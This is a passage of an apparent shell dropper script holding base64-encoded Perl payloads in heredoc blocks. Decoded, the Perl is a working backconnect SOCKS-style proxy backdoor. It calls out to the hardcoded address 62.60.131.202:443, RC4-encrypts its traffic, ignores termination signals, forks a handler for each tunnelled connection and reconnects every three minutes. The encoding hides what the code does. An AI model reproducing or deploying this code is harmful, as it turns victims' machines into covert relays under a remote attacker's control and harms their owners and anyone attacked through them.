IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_55() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 